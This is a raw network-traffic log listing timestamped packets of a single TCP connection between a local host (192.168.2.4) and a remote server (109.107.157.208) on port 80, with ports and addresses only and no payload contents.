Oct 24, 2024 13:27:09.700670958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.700710058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.700746059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.700859070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.700859070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.700859070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.701817989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.701872110 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.701931953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.701983929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.701984882 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.701984882 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.701984882 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702020884 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702054977 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702056885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702078104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702109098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702111959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702147961 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702172041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702181101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702198982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702214956 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702244997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702267885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702270985 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702316046 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702320099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702368021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702394009 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702400923 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702415943 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702436924 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702455997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702471018 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702497005 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702505112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702514887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702555895 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702559948 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702591896 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702611923 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702630043 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702647924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702662945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702691078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702701092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702708006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702735901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702754974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702789068 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702790022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702822924 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702845097 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702856064 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702873945 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702889919 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702912092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702923059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702934980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702956915 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.702974081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.702990055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703012943 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703023911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703037024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703057051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703085899 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703089952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703105927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703123093 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703145981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703155994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703169107 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703208923 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703210115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703262091 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703265905 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703294992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703320026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703341961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703357935 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703387976 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703412056 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703421116 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703449011 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703454971 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703479052 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703488111 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703500986 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703521967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703555107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703567982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703587055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703588963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703605890 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703619957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703639030 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703654051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703675032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703686953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703704119 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703722954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703742981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703774929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703777075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703809977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703829050 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703844070 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703866005 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703879118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703895092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703912973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703933001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703946114 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703969955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.703978062 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.703999043 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704016924 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704031944 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704046011 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704077959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704080105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704099894 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704112053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704137087 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704144955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704159975 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704179049 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704204082 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704212904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704240084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704247952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704262972 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704281092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704303980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704314947 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704332113 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704349995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704369068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704404116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704406023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704440117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704459906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704473019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704488039 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704507113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704524994 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704540014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704572916 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704575062 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704595089 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704607010 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704629898 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704642057 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704663038 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704678059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704699993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704710007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704722881 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704744101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704762936 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704777002 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704802990 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704808950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704821110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704843998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704862118 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704878092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704898119 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704911947 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704933882 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704946041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704967976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.704979897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.704998970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.705013990 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.705034018 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.705048084 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.705055952 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.705099106 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.709302902 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.709336996 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.709372997 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.709381104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.709400892 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.709428072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.709625006 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.709661007 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.709700108 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.709734917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.709769964 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.709803104 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.709820986 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.709820986 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.709820986 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.709820986 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.709821939 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.709857941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.709892988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.709897995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.709920883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.709943056 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.709948063 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.709983110 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710010052 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710016012 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710031033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710050106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710078955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710083961 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710098982 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710119963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710141897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710154057 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710181952 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710206985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710215092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710241079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710268974 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710287094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710293055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710350037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710356951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710410118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710417032 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710463047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710498095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710531950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710542917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710542917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710566044 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710583925 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710619926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710624933 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710654974 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710676908 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710690975 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710705996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710725069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710750103 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710758924 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710792065 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710812092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710825920 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710846901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710869074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710903883 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710908890 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710937977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710967064 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.710972071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.710985899 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711007118 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711029053 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711061001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711069107 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711100101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711116076 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711133957 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711154938 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711168051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711194038 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711200953 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711215019 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711236000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711260080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711270094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711288929 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711303949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711324930 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711360931 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711381912 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711435080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711441040 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711467981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711489916 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711523056 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711524010 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711575985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711581945 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711610079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711631060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711643934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711659908 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711683989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711698055 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711738110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711739063 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711791992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711796045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711826086 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711859941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711865902 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711867094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711911917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711919069 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711950064 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.711966991 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.711982965 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712007046 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712019920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712029934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712053061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712074995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712088108 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712114096 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712119102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712131023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712171078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712177992 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712204933 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712238073 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712264061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712276936 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712316990 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712317944 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712352037 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712366104 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712387085 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712409019 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712420940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712455988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712476969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712529898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712563038 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712563038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712563038 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712589025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.712598085 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712631941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.712631941 CEST	49730	80	192.168.2.4	109.107.157.208
